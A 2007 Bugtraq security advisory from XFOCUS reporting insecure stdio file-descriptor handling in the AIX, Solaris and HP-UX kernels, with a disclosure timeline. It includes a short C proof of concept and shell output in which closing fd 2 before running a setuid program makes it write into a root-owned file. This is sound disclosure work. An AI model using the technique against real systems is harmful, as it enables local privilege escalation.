bugtraq - Multiple OS kernel insecure handling of stdio file descriptor

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Date: Thu, 18 Jan 2007 22:21:52 +0800
From: XFOCUS Security Team <security@...cus.org>
To: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com
Subject: Multiple OS kernel  insecure handling of stdio file descriptor


XFOCUS team (http://www.xfocus.org/)  had discovered Multiple OS kernel
insecure handling of stdio file descriptor.

===================
Affected OS Version

AIX 5.3
Solaris 9
HPUX B11.11
(maybe other version,we did not tested)


===========
Description

The affected OSes allows local users to write to or read from restricted
files by closing the file descriptors 0 (standard input), 1 (standard
output), or 2 (standard error), which may then be reused by a called
setuid process that intended to perform I/O on normal files. the attack
which exploit this vulnerability possibly get root right.


====
POC

-bash-3.00$ oslevel -r
5300-03
-bash-3.00$ ls -l bb
-rw-r--r--   1 root     system            0 12月05 20时34 bb
-bash-3.00$ ls -l k
-rwxr-xr-x   1 root     system        58242 12月03 23时13 k
-bash-3.00$ ls -l tt
-rwsr-xr-x   1 root     system        59096 12月03 23时14 tt  (this is a
suid program，called by k）
-bash-3.00$ cat k.c
int main()
{
  close(2); //close 2 before call tt
  execl("./tt","./tt",0);
}
-bash-3.00$ cat tt.c
int main()
{

  printf("euid=%i\n",geteuid());
  int f=open("/tmp/bb",1);
  printf("f=%i\n",f);
  write(2,"hello\n",6);
}

-bash-3.00$ id
uid=202(cloud) gid=1(staff)
-bash-3.00$ ./k
euid=0
f=2      #err info wrote into bb file
-bash-3.00$ ls -l bb
-rw-r--r--   1 root     system            6 12月05 20时35 bb


=========
Time Line
2005-12-xx   Discover this vulnerability
2006-12-12   Initial vendor notifiation
2006-12-12   HP responses ,assgin to SSRT061287;
             Sun responses but mistake this vulnerablitily as
                application bug and hope us figoure out real attack
                vector;
             Aix no responses;
2007-01-18   public disclosure

-- 

Kind Regards,

---
XFOCUS Security Team
http://www.xfocus.org